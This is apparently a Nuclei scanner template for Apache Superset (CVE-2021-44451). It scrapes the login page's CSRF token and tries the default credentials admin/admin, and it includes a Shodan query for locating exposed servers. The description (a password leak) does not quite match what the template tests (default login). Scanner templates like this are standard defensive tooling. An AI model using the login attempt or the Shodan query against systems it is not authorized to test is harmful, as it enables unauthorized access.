id: CVE-2021-44451

info:
  name: Apache Superset Default Login
  author: dhiyaneshDK
  severity: medium
  description: Apache Superset up to and including 1.3.2 allowed for registered database connections password leak for authenticated users. This information could be accessed in a non-trivial way.
  reference:
    - https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/apache-superset-default-credentials.json
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44451
    - https://lists.apache.org/thread/xww1pccs2ckb5506wrf1v4lmxg198vkb
  remediation: Users should upgrade to Apache Superset 1.4.0 or higher.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-44451
    cwe-id: CWE-522
  metadata:
    verified: true
    shodan-query: http.favicon.hash:1582430156
  tags: cve,cve2021,apache,superset,default-login

requests:
  - raw:
      - |
        GET /login/ HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}

      - |
        POST /login/ HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{BaseURL}}/admin/airflow/login

        csrf_token={{csrf_token}}&username={{username}}&password={{password}}

    attack: pitchfork
    payloads:
      username:
        - admin
      password:
        - admin

    extractors:
      - type: regex
        name: csrf_token
        group: 1
        part: body
        internal: true
        regex:
          - 'value="(.*?)">'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        condition: and
        words:
          - '<title>Redirecting...</title>'
          - '<h1>Redirecting...</h1'
          - '<a href="/">'

      - type: word
        part: header
        words:
          - 'session'

      - type: status
        status:
          - 302

# Enhanced by mp on 2022/03/02